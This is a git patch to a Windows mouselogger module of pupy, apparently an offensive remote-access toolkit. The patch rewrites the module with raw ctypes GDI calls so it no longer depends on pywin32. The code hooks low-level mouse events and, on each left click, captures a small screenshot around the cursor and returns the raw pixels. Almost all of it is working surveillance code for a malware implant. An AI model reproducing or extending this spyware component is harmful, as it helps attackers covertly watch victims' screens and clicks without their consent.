From 2ebf54d12427cf5af7297d13ee441568f7bbd177 Mon Sep 17 00:00:00 2001 From: golind Date: Tue, 13 Oct 2015 16:23:15 +0000 Subject: [PATCH] Update mouselogger.py this should remove dependency on pywin32. cobbled together from screenshot.py and mouselogger from prior PR. still no controll module. --- .../windows/all/pupwinutils/mouselogger.py | 141 ++++++++++++++---- 1 file changed, 111 insertions(+), 30 deletions(-) diff --git a/pupy/packages/windows/all/pupwinutils/mouselogger.py b/pupy/packages/windows/all/pupwinutils/mouselogger.py index 44f303f9..0e53a446 100644 --- a/pupy/packages/windows/all/pupwinutils/mouselogger.py +++ b/pupy/packages/windows/all/pupwinutils/mouselogger.py @@ -6,8 +6,42 @@ from ctypes.wintypes import MSG from ctypes.wintypes import DWORD import threading import time -import base64 -import win32gui, win32ui, win32con, win32api + +from ctypes import ( + byref, memset, pointer, sizeof, windll, + c_void_p as LPRECT, + c_void_p as LPVOID, + create_string_buffer, + Structure, + POINTER, + WINFUNCTYPE, +) +import ctypes.wintypes +from ctypes.wintypes import ( + BOOL, DOUBLE, DWORD, HANDLE, HBITMAP, HDC, HGDIOBJ, + HWND, INT, LPARAM, LONG,RECT,SHORT, UINT, WORD +) + +class BITMAPINFOHEADER(Structure): + _fields_ = [ + ('biSize', DWORD), + ('biWidth', LONG), + ('biHeight', LONG), + ('biPlanes', WORD), + ('biBitCount', WORD), + ('biCompression', DWORD), + ('biSizeImage', DWORD), + ('biXPelsPerMeter', LONG), + ('biYPelsPerMeter', LONG), + ('biClrUsed', DWORD), + ('biClrImportant', DWORD) + ] + +class BITMAPINFO(Structure): + _fields_ = [ + ('bmiHeader', BITMAPINFOHEADER), + ('bmiColors', DWORD * 3) + ] # http://nullege.com/codes/show/src@m@o@mozharness-HEAD@external_tools@mouse_and_screen_resolution.py/114/ctypes.windll.user32.GetCursorPos from ctypes import windll, Structure, c_ulong, byref @@ -20,7 +54,6 @@ def queryMousePosition(): windll.user32.GetCursorPos(byref(pt)) return { "x": pt.x, "y": pt.y} - user32 = windll.user32 kernel32 = windll.kernel32 WH_MOUSE_LL=14 @@ -44,6 +77,49 @@ keyCodes={ 0x20E : "", #"[MOUSEHWHEEL]" } +# Initilisations +SM_XVIRTUALSCREEN = 76 +SM_YVIRTUALSCREEN = 77 +SM_CXVIRTUALSCREEN = 78 +SM_CYVIRTUALSCREEN = 79 +SRCCOPY = 0xCC0020 # Code de copie pour la fonction BitBlt()## +DIB_RGB_COLORS = 0 + +GetSystemMetrics = windll.user32.GetSystemMetrics## +EnumDisplayMonitors = windll.user32.EnumDisplayMonitors +GetWindowDC = windll.user32.GetWindowDC +CreateCompatibleDC = windll.gdi32.CreateCompatibleDC +CreateCompatibleBitmap = windll.gdi32.CreateCompatibleBitmap +SelectObject = windll.gdi32.SelectObject +BitBlt = windll.gdi32.BitBlt +GetDIBits = windll.gdi32.GetDIBits +DeleteObject = windll.gdi32.DeleteObject + +# Type des arguments +MONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD, + POINTER(RECT), DOUBLE) +GetSystemMetrics.argtypes = [INT] +EnumDisplayMonitors.argtypes = [HDC, LPRECT, MONITORENUMPROC, LPARAM] +GetWindowDC.argtypes = [HWND] +CreateCompatibleDC.argtypes = [HDC] +CreateCompatibleBitmap.argtypes = [HDC, INT, INT] +SelectObject.argtypes = [HDC, HGDIOBJ] +BitBlt.argtypes = [HDC, INT, INT, INT, INT, HDC, INT, INT, DWORD] +DeleteObject.argtypes = [HGDIOBJ] +GetDIBits.argtypes = [HDC, HBITMAP, UINT, UINT, LPVOID, + POINTER(BITMAPINFO), UINT] + +# Type de fonction +GetSystemMetrics.restypes = INT +EnumDisplayMonitors.restypes = BOOL +GetWindowDC.restypes = HDC +CreateCompatibleDC.restypes = HDC +CreateCompatibleBitmap.restypes = HBITMAP +SelectObject.restypes = HGDIOBJ +BitBlt.restypes = BOOL +GetDIBits.restypes = INT +DeleteObject.restypes = BOOL + class MouseLogger(threading.Thread): def __init__(self, *args, **kwargs): threading.Thread.__init__(self, *args, **kwargs) @@ -78,39 +154,44 @@ class MouseLogger(threading.Thread): if code in keyCodes: if code == 0x201: pos = queryMousePosition() - left = pos['x']-100 - top = pos['y']-50 - height = 100 - width = 200 - limit_width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) - limit_height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) - limit_left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) - limit_top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) + limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN) + limit_height = GetSystemMetrics(SM_CYVIRTUALSCREEN) + limit_left = GetSystemMetrics(SM_XVIRTUALSCREEN) + limit_top = GetSystemMetrics(SM_YVIRTUALSCREEN) - height = min(height,limit_height) - width = min(width,limit_width) - left = max(left,limit_left) - top = max(top,limit_top) + height = min(100,limit_height) + width = min(200,limit_width) + left = max(pos['x']-100,limit_left) + top = max(pos['y']-50,limit_top) - hwin = win32gui.GetDesktopWindow() - hwindc = win32gui.GetWindowDC(hwin) - srcdc = win32ui.CreateDCFromHandle(hwindc) - memdc = srcdc.CreateCompatibleDC() - bmp = win32ui.CreateBitmap() - bmp.CreateCompatibleBitmap(srcdc, width, height) - memdc.SelectObject(bmp) - memdc.BitBlt((0, 0), (width, height), srcdc, (left, top), win32con.SRCCOPY) - timestamp = int(time.time()) - bmp.SaveBitmapFile(memdc, "%d.bmp"%(timestamp)) + srcdc = GetWindowDC(0) + memdc = CreateCompatibleDC(srcdc) + bmp = CreateCompatibleBitmap(srcdc, width, height) + try: + SelectObject(memdc, bmp) + BitBlt(memdc, 0, 0, width, height, srcdc, left, top, SRCCOPY) + bmi = BITMAPINFO() + bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER) + bmi.bmiHeader.biWidth = width + bmi.bmiHeader.biHeight = height + bmi.bmiHeader.biBitCount = 24 + bmi.bmiHeader.biPlanes = 1 + buffer_len = height * ((width * 3 + 3) & -4) + pixels = create_string_buffer(buffer_len) + bits = GetDIBits(memdc, bmp, 0, height, byref(pixels), + pointer(bmi), DIB_RGB_COLORS) + finally: + DeleteObject(srcdc) + DeleteObject(memdc) + DeleteObject(bmp) - img = "%d.bmp"%(timestamp) - with open(img, "rb") as imgFile: - imgStr = base64.b64encode(imgFile.read()) - return [timestamp]+[imgStr] + if bits != height or len(pixels.raw) != buffer_len: + raise ValueError('MSSWindows: GetDIBits() failed.') + + return pixels.raw return keyCodes[code] - def install_hook(self): CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p)) self.pointer = CMPFUNC(self.hook_proc)